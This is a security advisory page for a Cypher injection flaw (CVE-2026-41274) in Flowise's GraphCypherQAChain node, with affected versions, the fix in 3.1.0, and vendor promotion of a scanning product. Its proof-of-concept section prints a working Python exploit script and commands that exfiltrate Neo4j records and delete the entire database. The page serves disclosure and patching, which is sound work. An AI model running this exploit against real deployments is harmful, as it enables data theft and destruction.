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GHSA-28g4-38q8-3cwc flowise

GHSA-28g4-38q8-3cwc is a CWE-943 vulnerability in flowise. A fix is available for flowise — see the affected versions and patch details below.

Flowise: Cypher Injection in GraphCypherQAChain

Also known asCVE-2026-41274
Published
Apr 16, 2026
Updated
May 5, 2026
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Sep 18, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-28g4-38q8-3cwc.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs42th percentile — riskier than 42% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

2 pkgs affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

0other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
flowisenpm
3Kdownloads / week
flowise-componentsnpm
3Kdownloads / week

Description

Summary

The GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion.

Vulnerability Details

FieldValue
Affected Filepackages/components/nodes/chains/GraphCypherQAChain/GraphCypherQAChain.ts
Affected Lines193-219 (run method)

Prerequisites

To exploit this vulnerability, the following conditions must be met:

  1. Neo4j Database: A Neo4j instance must be connected to the Flowise server
  2. Vulnerable Chatflow Configuration:
    • A chatflow containing the Graph Cypher QA Chain node
    • Connected to a Chat Model (e.g., ChatOpenAI)
    • Connected to a Neo4j Graph node with valid credentials
  3. API Access: Access to the chatflow's prediction endpoint (/api/v1/prediction/{flowId})
<img width="1627" height="1202" alt="vulnerability-diagram-prerequisites" src="https://github.com/user-attachments/assets/8069e7df-799c-40cc-908a-ab7587b621d0" />

Root Cause

In GraphCypherQAChain.ts, the run method passes user input directly to the chain without sanitization:

async run(nodeData: INodeData, input: string, options: ICommonObject): Promise<string | object> {
    const chain = nodeData.instance as GraphCypherQAChain
    // ...
    
    const obj = {
        query: input  // User input passed directly
    }
    
    // ...
    response = await chain.invoke(obj, { callbacks })  // Executed without escaping
}

Impact

An attacker with access to a vulnerable chatflow can:

  1. Data Exfiltration: Read all data from the Neo4j database including sensitive fields
  2. Data Modification: Create, update, or delete nodes and relationships
  3. Data Destruction: Execute DETACH DELETE to wipe entire database
  4. Schema Discovery: Enumerate database structure, labels, and properties

Proof of Concept

poc.py

#!/usr/bin/env python3
"""
POC: Cypher injection in GraphCypherQAChain (CWE-943)

Usage:
  python poc.py --target http://localhost:3000 --flow-id <FLOW_ID> --token <API_KEY>
"""

import argparse
import json
import urllib.request
import urllib.error

def post_json(url, data, headers):
    req = urllib.request.Request(
        url,
        data=json.dumps(data).encode("utf-8"),
        headers={**headers, "Content-Type": "application/json"},
        method="POST",
    )
    with urllib.request.urlopen(req, timeout=15) as resp:
        return resp.status, resp.read().decode("utf-8", errors="replace")

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:3000")
    ap.add_argument("--flow-id", required=True, help="Chatflow ID with GraphCypherQAChain")
    ap.add_argument("--token", help="Bearer token / API key if required")
    ap.add_argument(
        "--injection",
        default="MATCH (n) RETURN n",
        help="Cypher payload to inject",
    )
    args = ap.parse_args()

    payload = {
        "question": args.injection,
        "overrideConfig": {},
    }

    headers = {}
    if args.token:
        headers["Authorization"] = f"Bearer {args.token}"

    url = args.target.rstrip("/") + f"/api/v1/prediction/{args.flow_id}"

    try:
        status, body = post_json(url, payload, headers)
        print(body if body else f"(empty response, HTTP {status})")
    except urllib.error.HTTPError as e:
        print(e.read().decode("utf-8", errors="replace"))
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    main()

Test Environment Setup

1. Start Neo4j with Docker:

docker run -d \
  --name neo4j-test \
  -p 7474:7474 \
  -p 7687:7687 \
  -e NEO4J_AUTH=neo4j/testpassword123 \
  neo4j:latest

2. Create test data (in Neo4j Browser at http://localhost:7474):

CREATE (a:Person {name: 'Alice', secret: 'SSN-123-45-6789'})
CREATE (b:Person {name: 'Bob', secret: 'SSN-987-65-4321'})
CREATE (a)-[:KNOWS]->(b)

3. Configure Flowise chatflow (see screenshot)

Exploitation Steps

# Data destruction (DANGEROUS)
python poc.py --target http://127.0.0.1:3000 \
  --flow-id <FLOW_ID> --token <API_KEY> \
  --injection "MATCH (n) DETACH DELETE n"

Evidence

Cypher injection reaching Neo4j directly:

$ python poc.py --target http://127.0.0.1:3000 --flow-id bbb330a5-... --token ...
{"text":"Error: All sub queries in an UNION must have the same return column names (line 2, column 16 (offset: 22))\n\"RETURN 1 as ok UNION CALL db.labels() YIELD label RETURN label LIMIT 5\"\n                ^",...}

The error message comes from Neo4j, proving the injected Cypher is executed directly.

Data destruction confirmed:

$ python poc.py ... --injection "MATCH (n) DETACH DELETE n"
{"json":[],...}

Empty result indicates all nodes were deleted.

Sensitive data exfiltration:

$ python poc.py ... --injection "MATCH (n) RETURN n"
{"json":[{"n":{"name":"Alice","secret":"SSN-123-45-6789"}},{"n":{"name":"Bob","secret":"SSN-987-65-4321"}}],...}

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
📦npmflowiseall versions3.1.0npm install flowise@3.1.0
📦npmflowise-componentsall versions3.1.0npm install flowise-components@3.1.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update flowise to 3.1.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-28g4-38q8-3cwc is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-28g4-38q8-3cwc can be triaged on real exposure rather than presence alone.

Tailored to GHSA-28g4-38q8-3cwc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion. ## Vulnerability Details | Field | Value | |-------|-------| | Affected File | `packages/components/nodes/chains/GraphCypherQAChain/GraphCypherQAChain.ts` | | Affected Lines | 193-219 (run method) | ## Prerequisites To exploit this vulnerability, the following conditions must be met: 1. **N
O3 Security · Impact-Aware SCA

Is GHSA-28g4-38q8-3cwc in your dependencies?

O3 Security finds GHSA-28g4-38q8-3cwc across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-28g4-38q8-3cwc: flowise | O3 Security